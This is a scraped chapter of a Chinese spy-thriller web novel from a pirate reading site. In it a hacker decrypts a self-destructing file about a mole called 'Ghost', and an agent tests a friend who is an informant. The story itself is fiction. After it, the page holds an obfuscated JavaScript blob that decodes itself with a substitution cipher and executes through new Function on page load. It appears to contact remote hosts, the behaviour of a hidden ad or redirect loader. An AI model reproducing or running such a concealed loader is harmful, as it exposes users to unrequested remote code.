首页
第0488章 雏菊绽放
返回

第0488章 雏菊绽放

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    第0488章雏菊绽放(第1/2页)
    天策集团大厦,顶层办公室。
    马旭东推门进来的时候,脸上还挂着两个黑眼圈。他昨晚几乎没睡——接到陆峥的电话后,他翻来覆去想了一整夜,脑子里全是“自毁程序““加密文件““幽灵“这些词。
    “陆哥。“他打了个哈欠,把背后的双肩包往沙发上一扔,“你最好真的有重要的事,不然我跟你没完。“
    陆峥没有废话,从抽屉里取出那枚微型胶卷,放在桌上。
    “这是什么?“马旭东凑过来,拿起胶卷对着灯光看了看,“老式胶卷?现在还有人用这个?“
    “夏明远从‘蝰蛇‘的数据库里拷出来的。“陆峥说,“代号‘雏菊‘。里面有指向‘幽灵‘的线索。“
    马旭东的手顿了一下。
    “夏明远?“他的声音变了,“那个……夏晚星她爸?十年前牺牲的那个?“
    “他没死。“陆峥说,“他是老枪,在‘蝰蛇‘内部潜伏了十年。“
    马旭东张了张嘴,半天没说出话来。
    “卧槽。“他最终只憋出这两个字。
    陆峥拍了拍他的肩膀:“所以你明白为什么这件事不能让第三个人知道。除了你、我、老鬼和夏明远本人,没有人知道他还活着。“
    马旭东咽了口唾沫,点了点头。
    “现在说正事。“陆峥指了指胶卷,“这份文件被设置了自毁程序。一旦破译方式不对,数据会在三秒内彻底销毁,同时向‘蝰蛇‘的服务器发送警报。夏明远说,你破译的时候不能联网,不能用任何外部设备。“
    “三秒自毁……“马旭东皱起眉头,“这至少是军用级别的加密算法。‘蝰蛇‘的技术部门,水平不低啊。“
    他从双肩包里掏出一台银色手提箱,打开后露出里面密密麻麻的电路板和接口。这是他亲手改装的物理隔离工作站——没有无线模块,没有蓝牙,没有任何可以联网的硬件。所有数据通过物理接口传输,破译过程中完全断网。
    “把胶卷给我。“他说。
    陆峥将胶卷递过去。马旭东用专用的胶片扫描仪将胶卷上的数据读取到工作站中,然后拔掉了扫描仪的电源线和数据线。
    “好了,现在这台机器是绝对隔离的。“他拍了拍工作站的外壳,“就算‘蝰蛇‘的技术再牛,也不可能远程入侵一台没有联网的电脑。“
    陆峥在他对面坐下,安静地看着他操作。
    马旭东的手指在键盘上飞舞,屏幕上的代码一行行滚动。他先对文件进行了初步分析——文件大小、格式、加密算法的类型。
    “嗯……“他盯着屏幕,眉头越皱越紧,“这是AES-256加密,但密钥不是标准的256位。它用了一种自定义的密钥派生函数,把密钥长度扩展到了512位。怪不得夏明远破译不了——这种算法,没有密钥的话,暴力破解需要几百年。“
    “有密钥吗?“陆峥问。
    “没有。“马旭东摇头,“但加密文件里有一个奇怪的东西——“
    他指着屏幕上的一串十六进制代码。
    “你看这里,文件头部有一段元数据,标注了‘KeySource:DaisyProtocol‘。‘密钥来源:雏菊协议‘。也就是说,密钥不是随机生成的,而是根据某种规则——‘雏菊协议‘——从某个数据源中提取的。“
    “雏菊协议是什么?“
    “不知道。“马旭东挠了挠头,“但‘雏菊‘这个词,在‘蝰蛇‘的代号体系里,通常指苏蔓。“
    陆峥的瞳孔微微收缩。
    苏蔓。夏晚星的闺蜜,江城医院的医生,“蝰蛇“的外围情报员,代号“雏菊“。
    “你的意思是,密钥和苏蔓有关?“
    “很有可能。“马旭东说,“如果‘雏菊协议‘指的是苏蔓,那么密钥可能是从她的某个特征中提取的——比如她的指纹、虹膜、声音频率,或者……她弟弟的信息。“
    陆峥站起身,走到窗前。
    苏蔓的弟弟,患有罕见病,被“蝰蛇“控制。这是夏明远告诉他的。如果密钥真的和苏蔓的弟弟有关,那么“蝰蛇“就是用这个孩子的命,来控制苏蔓——同时也用这个孩子的信息,来加密这份指向“幽灵“的文件。
    “这很聪明。“陆峥说,“用苏蔓的软肋来加密文件,苏蔓就永远不可能背叛‘幽灵‘——因为她一旦背叛,弟弟就会死;但她如果不背叛,就永远不可能拿到密钥,破译这份文件。“
    “对。“马旭东点头,“这是一个死局。除非……“
    “除非什么?“
    “除非有人能从苏蔓那里拿到她弟弟的信息,但又不被‘蝰蛇‘察觉。“马旭东看着陆峥,“而能接近苏蔓的人,只有一个。“
    陆峥沉默了。
    夏晚星。
    只有夏晚星,能接近苏蔓。她们是闺蜜,是无话不谈的朋友。如果夏晚星开口问苏蔓弟弟的事,苏蔓可能不会起疑。
    但这意味着,要把夏晚星卷进这个漩涡的中心。
    “不行。“陆峥说,“太危险了。“
    “陆哥,我知道危险。“马旭东的声音变得认真起来,“但你想想——‘幽灵‘是谁?他是‘蝰蛇‘在江城的最高负责人,他掌握着所有潜伏人员的名单。如果我们能破译这份文件,找到‘幽灵‘的身份,就能一举端掉‘蝰蛇‘在江城的所有势力。夏晚星是情报员,她知道自己在做什么。“
    陆峥没有回答。他走到办公桌前,拿起那枚胶卷,在指尖转了一圈。
    “我需要再想想。“
    ……
    上午十点,夏晚星到了。
    她穿着一件深蓝色的风衣,头发简单地扎在脑后,脸上没有化妆,但眼神清亮。她走进办公室的时候,马旭东正在工作站前敲键盘,头也没抬。
    “晚星姐。“他打了个招呼。
    “马旭东,你又在搞什么?“夏晚星瞥了一眼屏幕上滚动的代码。
    “机密。“马旭东头也不抬。
    夏晚星笑了笑,走到陆峥面前。
    “你昨天说,有关于苏蔓的任务?“
    陆峥看着她。
    夏晚星提到苏蔓的名字时,表情没有任何变化。但陆峥注意到,她的手指微微蜷缩了一下——那是她在紧张时的习惯动作。
    “坐。“陆峥指了指沙发。
    两人坐下后,陆峥将一份文件推到她面前。
    “这是苏蔓最近三个月的通话记录。“他说,“你看看。“
    夏晚星接过文件,快速翻阅。她的脸色随着阅读的深入,变得越来越白。
    通话记录显示,苏蔓在过去三个月里,频繁与一个未知号码联系。那个号码没有登记在任何人的名下,但通话时间集中在深夜,每次通话时长不超过三分钟。
    更关键的是,通话的日期,与“蝰蛇“几次行动的时间高度重合。
    “不可能……“夏晚星的声音在颤抖,“苏蔓她……她怎么会……“
    “晚星,我知道这很难接受。“陆峥的声音很轻,“但事实就是,苏蔓是‘蝰蛇‘的外围情报员,代号‘雏菊‘。她一直在向你套取情报。“
    夏晚星低下头,双手紧紧攥着文件,指节发白。
    “她是我最好的朋友。“她的声音很轻,像是在自言自语,“我们一起上大学,一起实习,一起在江边看日出……她怎么可能是……“
    她没有说下去。
    陆峥没有打断她。他知道,这种背叛的感觉,比任何酷刑都难受。你信任的人,你以为和你站在同一边的人,实际上一直在背后捅你一刀。
    “晚星。“他轻声说,“你需要冷静。“
    夏晚星深吸了一口气,抬起头。她的眼睛红了,但眼神已经恢复了冷静。
    “我没事。“她说,“你需要我做什么?“
    陆峥看着她,心中闪过一丝不忍。但他知道,这场游戏里,没有人可以置身事外。
    “我们需要苏蔓弟弟的信息。“他说,“他的病历、住院记录、任何能证明他身份的东西。“
    夏晚星的眉头皱了起来:“为什么?“
    “因为那份文件——‘雏菊‘计划的核心文件——它的密钥,很可能和苏蔓的弟弟有关。如果我们能拿到他弟弟的信息,就有可能破译文件,找到‘幽灵‘的身份。“
    “所以你要我……“
    “向苏蔓要她弟弟的病历。“陆峥说,“以闺蜜的身份。告诉她,你想帮忙。她不会起疑的。“
    夏晚星沉默了很久。
    “如果她起了疑心呢?“她问,“如果她发现我在套取情报呢?“
    “那就证明她已经彻底倒向了‘蝰蛇‘。“陆峥的声音变得冷硬,“到那时候,你我的安全,比她的命更重要。“
    (本章未完,请点击下一页继续阅读)第0488章雏菊绽放(第2/2页)
    夏晚星闭上了眼睛。
    陆峥知道,他在逼她做一个选择。一边是闺蜜情谊,一边是国家机密。这种选择,没有人愿意做。
    但她是情报员。情报员没有选择。
    “好。“夏晚星睁开眼,站起身,“我今晚去找她。“
    ……
    晚上八点,江城中心医院。
    苏蔓值夜班。她坐在值班室里,面前放着一杯已经凉透的咖啡。她的脸色很不好——黑眼圈比马旭东还重,嘴唇发白,手指在微微颤抖。
    她在害怕。
    最近一段时间,“蝰蛇“给她的压力越来越大。陈默几乎每天都联系她,催促她从夏晚星那里套取更多情报。而她弟弟的病情,也在恶化——医生说,如果再找不到匹配的骨髓,他最多还能活三个月。
    “咚咚咚——“
    值班室的门被敲响了。
    苏蔓抬起头,看到夏晚星站在门口。
    “晚星?“她愣了一下,随即露出一个疲惫的笑容,“你怎么来了?“
    “来看看你。“夏晚星走进来,在她对面的椅子上坐下,“你最近脸色很差,是不是又熬夜了?“
    “嗯……最近科室忙。“苏蔓低下头,端起咖啡喝了一口。她的手在抖,咖啡洒了几滴在桌面上。
    夏晚星注意到了。
    “苏蔓。“她轻声说,“你有什么事,可以跟我说。“
    苏蔓的身体僵了一下。
    “没什么。“她勉强笑了笑,“就是工作压力大。“
    夏晚星没有追问。她从包里取出一个保温盒,放在桌上。
    “我给你炖了汤。“她说,“你以前不是说,压力大就想喝我炖的排骨汤吗?“
    苏蔓看着那个保温盒,眼眶一下子红了。
    “晚星……“她的声音哽咽了,“你为什么对我这么好?“
    “因为我们是闺蜜啊。“夏晚星笑了笑,“从小到大,你都是我最好的朋友。“
    苏蔓低下头,眼泪滴在了桌面上。
    “晚星,我……我对不起你。“
    夏晚星的心跳漏了一拍。
    “你说什么?“
    “没什么。“苏蔓擦了擦眼泪,抬起头,挤出一个笑容,“我是说,我最近状态不好,对你发脾气了,对不起。“
    夏晚星松了一口气。她以为苏蔓要坦白。
    “傻瓜,我们之间说什么对不起。“她拍了拍苏蔓的手,“对了,你弟弟最近怎么样?上次你说他病情恶化了,我托人问了几个专家,要不要我把联系方式给你?“
    苏蔓的脸色变了。
    “不用了。“她的声音突然变得急促,“他……他好多了,医生说情况稳定。“
    “真的吗?那太好了。“夏晚星说,“不过我还是想看看他的病历,我认识一个血液科的主任,说不定能帮上忙。“
    “不用了!“苏蔓的声音陡然拔高,然后又迅速压低,“不……不用麻烦了。他现在在老家,病历也在老家。“
    夏晚星看着她,眼神变得复杂。
    苏蔓在撒谎。她的弟弟不在老家——根据行动组的情报,他就在江城郊区的一家私立医院里,被“蝰蛇“的人看着。
    “好吧。“夏晚星没有追问,“那如果有什么需要帮忙的,随时告诉我。“
    “嗯。“苏蔓低下头,不敢看她的眼睛。
    ……
    走出医院,秋雨又下了起来。
    夏晚星站在医院门口,看着雨幕中模糊的灯光,心中五味杂陈。苏蔓在撒谎——关于她弟弟的一切,都是谎言。但即便如此,夏晚星还是能感觉到,苏蔓内心的挣扎。
    那个女人,还残存着一丝良知。
    但良知,在“蝰蛇“面前,什么都不是。
    夏晚星拿出手机,拨通了陆峥的号码。
    “她不肯给。“她说,“她撒谎了,说弟弟在老家,但眼神在躲闪。“
    电话那头沉默了片刻。
    “那我们换个方式。“陆峥说,“马旭东有办法了。“
    ……
    第二天早上,马旭东的工作站前。
    “我找到了苏蔓弟弟的住院记录。“马旭东指着屏幕,“私立医院,江城郊区,用的是假名。但缴费记录指向一个账户——这个账户属于‘蝰蛇‘的江城站。“
    “你黑进了医院系统?“陆峥问。
    “没有。“马旭东摇头,“我黑进了‘蝰蛇‘的财务系统。他们给医院付的款,走的是自己的账户。蠢得要命。“
    陆峥看着屏幕上的住院记录。患者姓名:李明(化名),年龄:14岁,诊断:急性淋巴细胞白血病,骨髓配型失败。
    “这就是苏蔓的弟弟。“他说。
    “对。“马旭东说,“现在的问题是——怎么用这些信息来生成密钥?“
    他从抽屉里取出一个小本子,上面密密麻麻写满了公式和算法。
    “‘雏菊协议‘的密钥生成规则,我猜是这样的——用患者的姓名、年龄、诊断结果和住院编号,通过某种哈希函数,生成一个512位的密钥。但哈希函数的具体算法,我不知道。“
    “试一下。“陆峥说。
    马旭东点了点头,开始输入数据。他尝试了几种常见的哈希算法——SHA-512、Whirlpool、Skein——但都不对。每次尝试后,工作站都会弹出一个警告窗口:“密钥错误,剩余尝试次数:X“。
    “还剩两次机会。“马旭东的额头渗出了冷汗,“两次之后,文件就会自毁。“
    陆峥站在他身后,盯着屏幕。
    “不是标准的哈希算法。“他说,“夏明远说过,‘蝰蛇‘的技术部门喜欢用自定义的算法。试试把患者的生日也加进去。“
    马旭东输入了生日。
    “密钥错误,剩余尝试次数:1。“
    “最后一次了。“马旭东的手开始发抖,“陆哥,如果这次不对……“
    陆峥闭上眼睛,脑海中飞速运转。
    “雏菊协议“——雏菊,苏蔓的代号。密钥来源是苏蔓的弟弟,但算法和苏蔓有关。苏蔓的代号是“雏菊“,而雏菊的花语是……
    “隐秘的爱。“
    陆峥睁开眼。
    “马旭东,用雏菊的花语。“
    “什么?“
    “雏菊的花语——‘隐秘的爱‘。用英文:HiddenLove。把这两个词,作为盐值,加到哈希函数里。“
    马旭东愣了一下,然后迅速输入了“HiddenLove“,作为盐值,重新运行算法。
    屏幕上的进度条开始滚动。
    一秒。
    两秒。
    三秒——
    文件没有自毁。
    进度条停在了100%。
    “成功了!“马旭东差点从椅子上跳起来。
    屏幕上出现了一份文件。文件标题只有两个字:“幽灵“。
    陆峥和马旭东对视了一眼,然后一起看向屏幕。
    文件的内容,是一份人员名单。
    名单上只有三个名字:
    1.高天阳——江城商会会长,表面身份是商人,实际是“蝰蛇“江城站的财务主管。
    2.张敬之——“深海“计划发起人,一年前“意外“坠楼身亡。文件标注:已清除。
    3.第三个人的名字,被涂黑了。
    但文件末尾,有一段备注:
    “幽灵的真实身份,见附件A。附件A的密钥,由幽灵本人设定,仅限A级权限访问。“
    “附件A被加密了。“马旭东说,“需要另一把密钥。“
    陆峥看着那份名单,心中翻江倒海。
    高天阳——果然是“蝰蛇“的人。这一点,夏明远早就警告过他。
    张敬之——他不是意外死亡。他是被“幽灵“清除的。
    而第三个人……
    “马旭东,把这份名单复制一份,存到加密U盘里。“陆峥说,“原件销毁。“
    “明白。“
    马旭东将名单复制到U盘中,然后按下了“销毁“按钮。工作站屏幕上的文件瞬间消失,如同从未存在过。
    陆峥拿起U盘,握在掌心。
    “幽灵“的身份,就在附件A里。而附件A的密钥,只有“幽灵“本人知道。
    这意味着,要找到“幽灵“,就必须让“幽灵“自己暴露。
    陆峥的嘴角微微上扬。
    “游戏开始了。“
    ------
    (第488章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();